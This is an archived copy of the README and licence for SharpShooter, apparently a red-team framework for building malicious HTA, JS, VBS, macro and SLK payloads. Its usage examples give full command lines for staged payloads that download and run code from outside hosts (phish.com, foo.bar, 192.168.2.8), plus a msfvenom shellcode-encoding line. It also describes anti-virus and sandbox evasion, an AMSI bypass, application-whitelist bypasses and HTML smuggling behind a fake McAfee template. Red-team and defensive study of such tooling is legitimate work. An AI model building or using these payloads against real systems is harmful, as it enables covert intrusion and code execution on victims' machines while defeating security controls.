

# SharpShooter

**SharpShooter** - mdsecactivebreach, GitHub.

- Published: date not stated
- Original: <https://github.com/mdsecactivebreach/SharpShooter>
- Preserved from: <https://github.com/mdsecactivebreach/SharpShooter> (preserved-copy) on 2026-08-04
- Repository commit: f3235c5b563428c310948e22439585631ac73d8b
- Licence: see the repository

Rights remain with the original author and publisher. This is a research archive of a source cited by ysonet, kept so the technique survives the page going offline. To read the original, follow the link above.

## Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Repository reading copy: selected documentation at the recorded commit. Source code is never checked out, built or run.

- Repository: <https://github.com/mdsecactivebreach/SharpShooter>
- Commit: f3235c5b563428c310948e22439585631ac73d8b
- Documents preserved: 2

### LICENSE

*Blob c843391b7752, 1500 bytes, at commit f3235c5b5634.*

BSD 3-Clause License

Copyright (c) 2024, Dominic Chell

Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:

1. Redistributions of source code must retain the above copyright notice, this

list of conditions and the following disclaimer.

1. Redistributions in binary form must reproduce the above copyright notice,

this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.

1. Neither the name of the copyright holder nor the names of its

contributors may be used to endorse or promote products derived from this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

**Readme.md**

*Blob e5460a079a5c , 9946 bytes, at commit f3235c5b5634 .*

```

  ____  _
 / ____// _ \   ____  _   ____  / ____// _ \   ____  _   ____  / ____// _ \   ____  _
 \_   \_  _ \  _ \ _ \ _ \ _ \ _ \   \_   \_  _ \  _ \ _ \ _ \ _ \   \_   \_  _ \  _ \ _ \ _ \
 _   _/ ___/ ___/ ___/ ___/ ___/ ___/ ___/ ___/ ___/ ___/ ___/ ___/ ___/ ___/ ___/ ___/ ___/
/_   _/ ___/ ___/ ___/ ___/ ___/ ___/ ___/ ___/ ___/ ___/ ___/ ___/ ___/ ___/ ___/ ___/ ___/
      /_ \

```

Description =====

SharpShooter is a payload creation framework for the retrieval and execution of arbitrary CSharp source code. SharpShooter is capable of creating payloads in a variety of formats, including HTA, JS, VBS and WSF. It leverages James Forshaw's [DotNetToJavaScript](#) tool to invoke methods from the SharpShooter DotNet serialised object. Payloads can be retrieved using Web or DNS delivery or both; SharpShooter is compatible with the MDSec ActiveBreach PowerDNS project. Alternatively, stageless payloads with embedded shellcode execution can also be generated for the same scripting formats.

SharpShooter payloads are RC4 encrypted with a random key to provide some modest anti-virus evasion, and the project includes the capability to integrate sandbox detection and environment keying to assist in evading detection.

SharpShooter includes a predefined CSharp template for executing shellcode with staged and stageless payloads, but any CSharp code can be compiled and invoked in memory using reflection, courtesy of CSharp's CodeDom provider.

Finally, SharpShooter provides the ability to bundle the payload inside an HTML file using the [Demiguise HTML smuggling](#) technique.

SharpShooter targets v2, v3 and v4 of the .NET framework which will be found on most end-user Windows workstations.

Version 1.0 of SharpShooter introduced several new concepts, including COM staging, execution of Squiblydoo and Squiblytwo, as well as XSL execution. To accomplish this new functionality, several new flags were added; --com, --awl and --awlurl.

Version 2.0 of SharpShooter added the AMSI bypass module, along with support generating VBA and Excel 4 macro enabled documents.

Further information can be found on the [MDSec blog post](#).

Usage - Command Line Mode: =====

SharpShooter is highly configurable, supporting a number of different payload types, sandbox evasions, delivery methods and output types.

Running SharpShooter with the --help argument will produce the following output:

```
usage: SharpShooter.py [-h] [--stageless] [--dotnetver <ver>] [--com <com>]
                        [--awl <awl>] [--awlurl <awlurl>] [--payload <format>]
                        [--sandbox <types>] [--amsi <amsi>] [--delivery <type>]
                        [--rawscfile <path>] [--shellcode] [--scfile <path>]
                        [--refs <refs>] [--namespace <ns>] [--entrypoint <ep>]
                        [--web <web>] [--dns <dns>] [--output <output>]
                        [--smuggle] [--template <tpl>]

optional arguments:
  -h, --help            show this help message and exit
  --stageless           Create a stageless payload
  --dotnetver <ver>    Target .NET Version: 2 or 4
  --com <com>          COM Staging Technique: outlook, shellbrowserwin, wmi, wscript,
xslremote
  --awl <awl>          Application Whitelist Bypass Technique: wmic, regsvr32
  --awlurl <awlurl>    URL to retrieve XSL/SCT payload
  --payload <format>   Payload type: hta, js, jse, vba, vbe, vbs, wsf
  --sandbox <types>   Anti-sandbox techniques:
                        [1] Key to Domain (e.g. 1=CONTOSO)
                        [2] Ensure Domain Joined
                        [3] Check for Sandbox Artifacts
                        [4] Check for Bad MACs
                        [5] Check for Debugging
  --amsi <amsi>       Use amsi bypass technique: amsienable
  --delivery <type>   Delivery method: web, dns, both
  --rawscfile <path>  Path to raw shellcode file for stageless payloads
  --shellcode         Use built in shellcode execution
  --scfile <path>     Path to shellcode file as CSharp byte array
  --refs <refs>       References required to compile custom CSharp,
                        e.g. mscorlib.dll,System.Windows.Forms.dll
  --namespace <ns>   Namespace for custom CSharp,
                        e.g. Foo.bar
  --entrypoint <ep>  Method to execute,
                        e.g. Main
  --web <web>        URI for web delivery
  --dns <dns>        Domain for DNS delivery
  --output <output>  Name of output file (e.g. maldoc)
  --smuggle          Smuggle file inside HTML
  --template <tpl>   Name of template file (e.g. mcafee)
```

Examples of some use cases are provided below:

## Stageless JavaScript

```
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt  
--sandbox 1=contoso,2,3
```

Create a stageless JavaScript payload targeting version 4 of the .NET framework. This example will create a payload named foo.js in the output directory. The shellcode is read from the ./raw.txt file. The payload attempts to enforce some sandbox evasion by keying execution to the CONTOSO domain, and checking for known sandbox/VM artifacts.

## Stageless HTA

```
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile  
./raw.txt --sandbox 4 --smuggle --template mcafee
```

Create a stageless HTA payload targeting version 2/3 of the .NET framework. This example will create a payload named foo.hta in the output directory. The shellcode is read from the ./raw.txt file. The payload attempts to enforce some sandbox evasion by checking for known virtual MAC addresses. A HTML smuggling payload will also be generated named foo.html in the output directory. This payload will use the example McAfee virus scan template.

## Staged VBS

```
SharpShooter.py --payload vbs --delivery both --output foo --web  
http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --  
sandbox 1=contoso --smuggle --template mcafee --dotnetver 4
```

This example creates a staged VBS payload that performs both Web and DNS delivery. The payload will attempt to retrieve a GZipped CSharp file that executes the shellcode supplied as a CSharp byte array in the csharpsc.txt file. The CSharp file used is the built-in SharpShooter shellcode execution template. The payload is created in the output directory named foo.payload and should be hosted on http://www.foo.bar/shellcode.payload. The same file should also be hosted on the bar.foo domain using PowerDNS to serve it. The VBS file will attempt to key execution to the CONTOSO domain and will be embedded in a HTML file using the HTML smuggling technique with the McAfee virus scanned template. The resultant payload is stored in the output directory named foo.html.

## Custom CSharp inside VBS

```
SharpShooter.py --dotnetver 2 --payload js --sandbox 2,3,4,5 --delivery web --refs  
mscorlib.dll,System.Windows.Forms.dll --namespace MDSec.SharpShooter --entrypoint Main --  
web http://www.phish.com/implant.payload --output malicious --smuggle --template mcafee
```

This example demonstrates how to create a staged JS payload that performs web delivery, retrieving a payload from <http://www.phish.com/implant.payload>. The generated payload will attempt sandbox evasion, and attempt to compile the retrieved payload which requires mscorlib.dll and System.Windows.Forms.dll as DLL references. The Main method in the MDSec.SharpShooter namespace will be executed on successful compilation.

## Creation of a Squiblytwo VBS

```
SharpShooter.py --stageless --dotnetver 2 --payload vbs --output foo --rawscfile  
./x86payload.bin --smuggle --template mcafee --com outlook --awlurl  
http://192.168.2.8:8080/foo.xsl
```

This example creates a VBS smuggled COM stager that uses the Outlook.CreateObject() COM method as a primitive to execute wmic.exe to execute a hosted stylesheet. The --awl parameter is not used by defaults to wmic.

## Creation of a XSL HTA

```
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile  
./x86payload.bin --smuggle --template mcafee --com xslremote --awlurl  
http://192.168.2.8:8080/foo.xsl
```

This example creates a HTA smuggled file that uses the the XMLDOM COM interface to retrieve and execute a hosted stylesheet.

## Creation of a VBA Macro

```
SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile  
./x86payload.bin --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl
```

This example creates a VBA macro file that uses the the XMLDOM COM interface to retrieve and execute a hosted stylesheet.

## Creation of an Excel 4.0 SLK Macro Enabled Document

```
SharpShooter.py --payload slk --output foo --rawscfile ~./x86payload.bin --smuggle --  
template mcafee
```

This example creates an Excel 4.0 SLK file that executes the supplied shellcode and wraps it in HTML. The shellcode cannot contain null bytes, hint:

```
msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e  
x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b '\x00'
```

Author and Credits ===== Author: Dominic Chell, MDSec  
ActiveBreach [@domchell](#) and [@mdseclabs](#)

Credits:

- [@tiraniddo](#): James Forshaw for DotNetToJScript
- [@Arno0x0x](#): for EmbedInHTML
- [@buffaloverflow](#): Rich Warren for Demiguise
- [@arvanaghi](#) and [@ChrisTruncer](#): Brandon Arvanaghi and Chris Truncer for CheckPlease
- [@subTee](#): Documentation for Squiblydoo and Squiblytwo techniques
- [@StanHacked](#): Excel 4.0 technique and code examples

---

Archived from <https://github.com/mdsecactivebreach/SharpShooter>. Rendered offline from the local Markdown copy.